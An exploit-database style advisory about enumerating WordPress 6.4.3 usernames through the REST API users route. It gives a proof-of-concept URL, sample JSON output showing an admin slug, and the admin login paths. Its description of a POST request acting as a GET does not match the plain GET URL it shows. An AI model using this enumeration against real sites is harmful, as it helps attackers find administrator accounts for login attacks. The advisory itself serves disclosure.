# Title: wordpress 6.4.3 - Username Disclosure # Author: h4shur # date:2024-02-21 # Vendor Homepage: https://www.wordpress.org # Software Link: https://www.wordpress.org/download # Version: 6.4.3 and earlier # Tested on: Windows 10 & Google Chrome # Category : Web Application Bugs ### Description : the REST API allows simulating different request types. As such, we can perform a POST request with the “users” string in the body of the request, and tell the REST API to act like it’s received a GET request. You can see the management username in the "slug" feature. And even security plugins like "iThemes Security" do not block this path. ### POC : https://target.com/wp-json/?rest_route=/wp/v2/users/ # output : [{"id":1,"name":"admin","url":"https:\/\/target.com ","description":"","link":"https:\/\/target.com \/?author=1","slug":"admin_1l","avatar_urls":{"24":"https:\/\/ secure.gravatar.com \/avatar\/f796ffd8af7172647b2f54ce8104919e?s=24&d=mm&r=g","48":"https:\/\/ secure.gravatar.com \/avatar\/f796ffd8af7172647b2f54ce8104919e?s=48&d=mm&r=g","96":"https:\/\/ secure.gravatar.com \/avatar\/f796ffd8af7172647b2f54ce8104919e?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"https:\/\/ target.com \/index.php?rest_route=\/wp\/v2\/users\/1"}],"collection":[{"href":"https:\/\/ target.com\/index.php?rest_route=\/wp\/v2\/users"}]}}] ### Admin Panel : https://target.com/wp-admin https://target.com/login.php ### contact : h4shursec@gmail.com twitter.com/h4shur instagram.com/h4shur t.me/h4shur
